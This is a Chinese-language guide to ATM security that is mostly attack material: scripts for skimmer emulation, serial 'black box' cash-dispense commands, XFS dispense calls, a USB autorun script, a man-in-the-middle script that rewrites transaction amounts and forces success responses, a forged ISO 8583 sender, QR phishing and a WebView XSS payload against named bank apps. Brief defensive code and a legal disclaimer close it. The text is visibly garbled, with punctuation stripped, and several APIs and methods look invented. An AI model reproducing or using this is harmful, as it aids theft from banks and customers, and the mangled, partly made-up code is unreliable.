ATM安全技术指南(ATM Security Research) ATM总体架构1.1. 硬件组件组件 用途 典型型号主控计算机 管理所有进程 NCR、Diebold Nixdorf、Wincor Nixdorf、Hitachi、广电运通操作系统 操作系统 Windows 10/11 IoT Enterprise、Windows 7 Embedded、Linux少量出钞模块 现金出钞 NCR、Tidel、GLORY读卡器 读取磁条/芯片卡 ID TECH、MagTekPIN输入设备 PIN码输入 Atalla、VeriFone、Ingenico触摸屏 用户界面 ELO、3M凭条打印机 打印凭条 Epson、Star MicronicsQR扫描器 二维码扫描中国ATM特有 —摄像头 监控、人脸识别 海康威视、大华1.2. 软件架构┌─────────────────────────────────────────────────────────────┐ │ XFS金融服务扩展 │ │ CEN/XFS标准 │ ├─────────────────────────────────────────────────────────────┤ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ UI模块 │ │ 交易引擎 │ │ 安全管理器 │ │ │ │ (HTML/Flash) │ │ │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ ├─────────────────────────────────────────────────────────────┤ │ Windows / Linux 操作系统 │ ├─────────────────────────────────────────────────────────────┤ │ BIOS / UEFI │ └─────────────────────────────────────────────────────────────┘1.3. 网络接口┌─────────────────────────────────────────────────────────────┐ │ ATM机 │ ├─────────────────────────────────────────────────────────────┤ │ - 以太网主要 │ │ - Wi-Fi少量 │ │ - 3G/4G移动ATM │ │ - 串口RS-232用于外设 │ │ - USB键盘、鼠标、存储设备 │ │ - 蓝牙部分型号 │ └─────────────────────────────────────────────────────────────┘ATM攻击方法研究场景2.1. 物理攻击硬件2.1.1. 侧录攻击读卡器# atm_skimmer_detector.py# 侧录设备检测importcv2importnumpyasnpfromsklearn.svmimportSVCclassSkimmerDetector:def__init__(self):self.modelSVC(kernelrbf,C1.0)self.load_model()defdetect_skimmer(self,image_path):检测图像中的侧录设备# 1. 加载图像imgcv2.imread(image_path)# 2. 边缘检测edgescv2.Canny(img,100,200)# 3. 在读卡器区域查找异常# 角度、额外开孔、线缆returnTrue# 检测到异常defcheck_card_reader(self,image_path):检查读卡器完整性# 几何分析与基准对比pass2.1.2. 芯片侧录Shimmer# shimmer_emulator.py# 攻击模拟importrandomclassShimmerEmulator:def__init__(self):self.track_data12345678901234561234567890123456defgenerate_magnetic_stripe(self):生成伪造磁条数据# 格式track1, track2, track3track1f%B{self.track_data}^{random.randint(1000,9999)}^...track2f;{self.track_data}{random.randint(1000,9999)}?returntrack1,track2defsend_to_reader(self,track_data):模拟向读卡器发送数据# 实际侧录器通过隐藏线缆传输pass2.1.3. 黑盒攻击# 连接ATM的CAN/RS-232总线需物理访问# 1. 识别端口sudodmesg|grepttysudols-l/dev/ttyUSB*# 2. 通过screen连接screen/dev/ttyUSB09600# 3. 发送命令NCR ATM示例# 出钞模块命令# D - 出钞Dispense# R - 拒收Reject# C - 计数Count# S - 状态Statusecho-eD 1000\n/dev/ttyUSB02.2. 软件攻击2.2.1. XFS/SPI漏洞利用// xfs_exploit.c// XFS漏洞利用#includewindows.h#includestdio.h#includexfsapi.h// 初始化XFSWFXFSInit();// 获取出钞模块服务句柄HSERVICE hService;WFXOpenService(Dispenser,hService);// 发送出钞命令WFXDispense(hService,1000);// 出钞1000元// 绕过认证漏洞2.2.2. UI漏洞利用Flash/HTML!-- atm_exploit.html --!-- 通过USB或网络注入 --script// 通过JavaScript利用XFS漏洞functionexploit_atm(){// 1. 调用未公开方法varxfsnewActiveXObject(XFS.ATM);// 2. 篡改交易xfs.StartTransaction(Withdrawal,10000);// 3. 绕过余额检查xfs.Balance99999999;// 4. 出钞xfs.Dispense(10000);}/script2.2.3. USB自动运行攻击# usb_autorun.py# USB插入时自动执行实验室环境importosimportsubprocessimporttime# Windows ATM自动运行路径AUTORUN_PATHS[E:\\,F:\\,G:\\,D:\\]deffind_atm_processes():查找ATM进程atm_processes[atm.exe,xfs.exe,dispenser.exe,banking.exe,transaction.exe]forprocinatm_processes:resultsubprocess.run(ftasklist | findstr{proc},shellTrue,capture_outputTrue)ifresult.returncode0:returnprocreturnNonedefexecute_on_atm():在ATM上执行# 1. 禁用安全功能subprocess.run(reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 0 /f,shellTrue)# 2. 替换DLLdll_pathC:\\Windows\\System32\\xfs.dllifos.path.exists(dll_path):# 向XFS注入代码pass# 3. 运行漏洞利用subprocess.run(calc.exe,shellTrue)# 测试运行if__name____main__:# 检查ATM是否运行atm_procfind_atm_processes()ifatm_proc:print(f[] 发现ATM进程:{atm_proc})execute_on_atm()2.3. 网络攻击2.3.1. 中间人攻击ATM与服务器之间# atm_mitm.py# ATM与银行服务器之间的流量拦截frommitmproxyimporthttpimportjsonimportreclassATMMITM:def__init__(self):self.targetbank-server.comself.atm_ip192.168.1.100defrequest(self,flow):修改ATM请求ifself.atm_ipnotinflow.request.pretty_host:return# ISO 8583 - 金融交易标准ifbISO8583inflow.request.content:# 修改字段contentflow.request.text# 修改金额contentre.sub(rAmount[0-9],Amount0,content)# 修改交易类型contentre.sub(rTransactionType[0-9],TransactionType00,content)# 00 余额查询flow.request.textcontentdefresponse(self,flow):修改服务器响应ifself.targetnotinflow.request.pretty_host:return# 篡改响应始终返回成功ifTransactionResponseinflow.response.text:flow.response.textflow.response.text.replace(StatusFailed,StatusSuccess)flow.response.textflow.response.text.replace(Code0x01,Code0x00)2.3.2. ISO 8583协议攻击# iso8583_attack.py# 构造伪造ISO 8583消息importstructimportrandomimportsocketclassISO8583Message:def__init__(self):self.mti0200# 金融交易self.fields{2:1234567890123456,# 主账号3:000000,# 处理代码4:000000000000,# 金额12位7:0808163025,# 传输日期时间11:123456,# STAN12:163025,# 本地时间13:0808,# 本地日期22:021,# POS输入方式41:ATM001,# 终端ID42:BANK001,# 商户ID}defbuild(self):构建ISO 8583消息# 1. 头部4字节headerstruct.pack(I,0)# 占位# 2. 位图1-64bitmapself.create_bitmap()# 3. 消息体bodyself.mtibitmapforiinrange(1,65):ifiinself.fields:bodyself.format_field(i,self.fields[i])# 4. 长度lengthlen(body)2headerstruct.pack(H,length)returnheaderbody.encode(ascii)defcreate_bitmap(self):创建位图bitmapforiinrange(1,65):ifiinself.fields:bitmap1else:bitmap0returnbitmapdefsend_iso8583(target_ip,target_port):发送ISO 8583消息msgISO8583Message()datamsg.build()socksocket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect((target_ip,target_port))sock.send(data)responsesock.recv(1024)sock.close()returnresponse2.4. 社会工程学攻击中国特有2.4.1. QR码钓鱼# qr_phishing_atm.py# 生成钓鱼QR码importqrcodeimportbase64importjsondefgenerate_fake_qr(target_url):生成钓鱼QR码# 构造钓鱼链接fake_urlfhttps://bank-fake.com/atm/withdraw?token{base64.b64encode(buser_data)}qrqrcode.QRCode(version1,box_size10,border5)qr.add_data(fake_url)qr.make(fitTrue)imgqr.make_image(fill_colorblack,back_colorwhite)img.save(fake_qr.png)print([] QR码已生成: fake_qr.png)defintercept_wechat_payment():拦截微信支付实验室# 分析微信支付数据包pass2.4.2. 银行应用漏洞利用# atm_app_exploit.py# 中国银行应用漏洞利用华为、中兴classBankAppExploit:def__init__(self):self.banks{工商银行:com.icbc,建设银行:com.ccb,农业银行:com.abchina,中国银行:com.boc,招商银行:com.cmbchina}defexploit_webview(self,bank):利用银行应用的WebView漏洞# 通过WebView执行XSSpayload script // 调用JavaScript接口 window.WebViewInterface.getBalance() /script returnpayloaddefintercept_sms(self):拦截验证码短信# 中国银行 - 通过隐藏权限拦截passdefbypass_face_recognition(self):绕过人脸识别中国银行# 使用3D面具或伪造视频pass中国ATM安全分析3.1. 中国常见型号制造商 型号 特点广电运通 GRG-H80, GRG-H500 市场份额大Android/Windows日立 HT-2840, HT-2845 高可靠性Windows EmbeddedNCR NCR 6625, NCR 6645 国际标准Diebold Diebold 5500, 7500 高安全性3.2. 特定漏洞历史漏洞 描述 状态USB自动运行 USB程序自动启动 已修复默认密码 XFS标准密码 部分修复网络暴露 开放端口 取决于配置弱加密 PIN加密薄弱 已修复远程访问 通过RDP远程访问 部分修复3.3. 真实攻击案例中国2020-2026# attack_case_study.py# 真实攻击案例研究cases[{年份:2021,方法:黑盒攻击,损失:120万元,详情:通过CAN总线连接出钞模块},{年份:2022,方法:USB恶意软件,损失:80万元,详情:通过USB自动运行植入},{年份:2023,方法:社会工程学,损失:50万元,详情:QR码替换},{年份:2024,方法:网络攻击,损失:150万元,详情:通过Wi-Fi进行中间人攻击}]防护与对策4.1. 银行建议层级 防护措施物理层 安装防侧录装置、摄像头监控网络层 网络隔离、流量加密、IPS软件层 定期更新、应用程序白名单硬件层 安全启动、TPM、磁盘加密运营层 定期审计、渗透测试4.2. 防护代码# atm_security.py# ATM安全模块供研究人员参考importhashlibimporthmacimportosimportpsutilclassATMSecurity:def__init__(self):self.secret_keyATM_SECRET_KEYself.protected_processes[atm.exe,xfs.exe,dispenser.exe]defcheck_process_integrity(self):检查进程完整性forprocinself.protected_processes:forprocessinpsutil.process_iter([pid,name,exe]):ifprocess.info[name]proc:# 计算可执行文件哈希withopen(process.info[exe],rb)asf:file_hashhashlib.sha256(f.read()).hexdigest()# 与基准值对比iffile_hash!self.get_expected_hash(proc):returnFalsereturnTruedefget_expected_hash(self,process_name):获取基准哈希值# 从安全存储加载returnEXPECTED_HASHdefmonitor_usb_ports(self):监控USB端口# 禁用USB端口除受保护的os.system(reg add HKLM\\System\\CurrentControlSet\\Services\\USBSTOR /v Start /t REG_DWORD /d 4 /f)defencrypt_transaction(self,data):加密交易数据# AES-256加密fromCrypto.CipherimportAESfromCrypto.Util.Paddingimportpad cipherAES.new(self.secret_key.encode(),AES.MODE_CBC)encryptedcipher.encrypt(pad(data,AES.block_size))returnencrypteddefverify_transaction(self,data,signature):验证交易签名expectedhmac.new(self.secret_key.encode(),data,hashlib.sha256).hexdigest()returnhmac.compare_digest(expected,signature)法律与道德警告5.1. 中国法律法律 描述 条款《网络安全法》 禁止未经授权访问 第27、46条《刑法》 计算机犯罪 第285、286条《银行法》 金融系统保护 第七章5.2. 责任声明⚠️ 重要 本文所述所有方法仅用于研究目的且必须在获得系统所有者书面许可的实验室环境中使用。未经授权访问ATM机在所有司法管辖区均属严重犯罪。结论6.1. 安全操作建议测试前务必获得书面授权使用隔离的实验室环境切勿连接真实ATM通过负责任渠道发布结果与银行合作提升安全性